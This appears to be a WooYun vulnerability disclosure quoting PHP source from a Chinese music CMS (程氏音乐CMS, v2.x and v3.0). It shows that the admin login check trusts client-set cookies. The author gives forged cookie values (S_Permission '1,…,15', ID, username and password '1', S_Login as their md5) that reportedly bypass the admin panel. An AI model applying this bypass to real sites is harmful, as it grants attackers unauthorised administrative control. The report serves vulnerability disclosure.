WooYun.org

include_once("include/install.php");
if(S_IsInstall==0){
        header("Location:install/install.php");
        }
include_once("include/label.php");
if(S_Webmode==1 or !file_exists("index.html")){
          //缓存区
          $cache_id ='index_';
          if(!($cache_opt->start($cache_id))){
                   echo GetTemp("index.html",0);        
                  $cache_opt->end();
          }
        }
else{
        header("Location:index.html");
        }
//看他配置吧
function SafeRequest($key,$mode,$isfilter=''){
    set_magic_quotes_runtime(0);
    $magic= get_magic_quotes_gpc();
    switch ($mode){
         case 'post':
             $value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : '';
         break;
         case 'get':
             $value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : '';
         break;
         default:
             $value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : '';
             if($value==""){
                  $value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : '';
             }
         break;
    }
       if($isfilter!=''){
          $value=lib_replace_end_tag($value);
       }
  return $value;
}
//变量的提交进行了addslashes安全过滤
//研究了半天的源码发现后台的严重出现了大的安全问题
include "../include/conn.php";
include "../include/function.php";
include "admin_version.php";
include "admin_loginstate.php"; //问题出在这个文件当中
//跟入
if(empty($_COOKIE['S_AdminID'])){  //首先看是否存在s_adminid这个cooke
                echo "<script>window.location='admin_login.php'</script>";
                }
        elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){   
//这里就是问题的关键之处了
如果s_login 的值等于 四个cookie 相加的md5加密，即可直接验证通过
                echo "<script>window.parent.location='admin_login.php'</script>";
                }
//后台权限判断
function SystemPer($Column){
   if(empty($_COOKIE['S_Permission'])){
        die("<script>jAlert('对不起，您无权限操作此功能！','操作错误',function(R){window.location='javascript:history.go(-1)';})</script>");
   }else{
        $SystemPermission=explode(",",$_COOKIE['S_Permission']); //权限的判断，用“，”来分割成数组
        $StateOK=0;
        $ArrSystemPermission=count($SystemPermission);
           for($k=0;$k<$ArrSystemPermission;$k++){ 
              if($SystemPermission[$k]==$Column){   //判断
                     $StateOK=1;   
              }
           }
       if($StateOK==0){
            die("<script>jAlert('对不起，您无权限操作此功能！','操作错误',function(R){window.location='javascript:history.go(-1)';})</script>");
       } 
   }
}
//构造淫荡的cookies
//S_Permission
//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
//S_Login
//md5(AdminID+AdminUserName+AdminPassWord+S_Permission)
//S_AdminUserName
//1
//S_AdminPassWord
//1
//S_AdminID
//1
后台成功绕过。
//看看3.0版本，也是一样
<?php
# Name: PHP版程氏音乐CMS管理系统 v3.0
# Author: 程氏<[email]web@chshcms.com[/email]> [QQ:848769359]
# Homepage:[url]http://www.chshcms.cn/[/url]
$CS_Path=$_SERVER['PHP_SELF'];
$CS_Pathall=explode("/",$CS_Path);
$CS_Admin=$CS_Pathall[1]."/";
        if(empty($_COOKIE['CS_AdminID'])){
                echo "<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php';</script>";
                }
        elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){
                echo "<script>window.parent.location='".CS_WebPath.$CS_Admin."login.php'</script>";
                }
//后台权限判断
function SystemPer($Column){
   if(empty($_COOKIE['CS_Quanx'])){
        die("<script>alert('对不起，您无权限操作此功能！');window.location='javascript:history.go(-1);'</script>");
        exit();
   }else{
        $SystemPermission=explode(",",$_COOKIE['CS_Quanx']);
        $StateOK=0;
        $ArrSystemPermission=count($SystemPermission);
           for($k=0;$k<$ArrSystemPermission;$k++){
              if($SystemPermission[$k]==$Column){
                     $StateOK=1;   
              }
           }
       if($StateOK==0){
            die("<script>alert('对不起，您无权限操作此功能！');window.location='javascript:history.go(-1);'</script>");
            exit();
       } 
   }